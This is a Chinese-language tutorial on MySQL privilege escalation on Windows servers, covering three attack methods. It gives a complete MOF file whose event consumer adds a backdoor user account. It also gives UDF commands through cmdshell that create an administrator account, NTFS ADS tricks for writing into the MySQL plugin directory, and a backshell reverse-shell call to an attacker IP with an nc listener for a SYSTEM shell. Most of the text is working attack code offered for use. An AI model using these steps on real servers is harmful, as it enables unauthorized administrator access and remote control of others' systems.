一、利用mof提权
前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
具体到mysql提权中,我们又该怎么利用呢?
1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。< mof只有2003才行,08是不能自动执行>
-
#pragma
namespace
(
"\\\\.\\root\\subscription"
)
-
-
instance of __EventFilter as $EventFilter
-
{
-
EventNamespace
=
"Root\\Cimv2"
;
-
Name
=
"filtP2"
;
-
Query
=
"Select * From __InstanceModificationEvent "
-
"Where TargetInstance Isa \"Win32_LocalTime\" "
-
"And TargetInstance.Second = 5"
;
-
QueryLanguage
=
"WQL"
;
-
};
-
-
instance of
ActiveScriptEventConsumer
as $Consumer
-
{
-
Name
=
"consPCSV2"
;
-
ScriptingEngine
=
"JScript"
;
-
ScriptText
=
-
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")"
;
-
};
-
-
instance of __FilterToConsumerBinding
-
{
-
Consumer
=
$Consumer
;
-
Filter
=
$EventFilter
;
-
};
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
二、利用UDF提权
udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2、创建相应的函数并执行命令,具体如下:
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
三、反弹端口连接提权
假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
Enter password:
mysql> \. c:\mysql.txt
mysql>select backshell("YourIP",2010);
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。
-
http
:
//zone.wooyun.org/content/1795
-
-
http
:
//www.exploit-db.com/exploits/23083/
-
-
http
:
//www.myhack58.com/Article/html/3/8/2013/38264.htm
-
-
http
:
//www.2cto.com/Article/201212/177983.html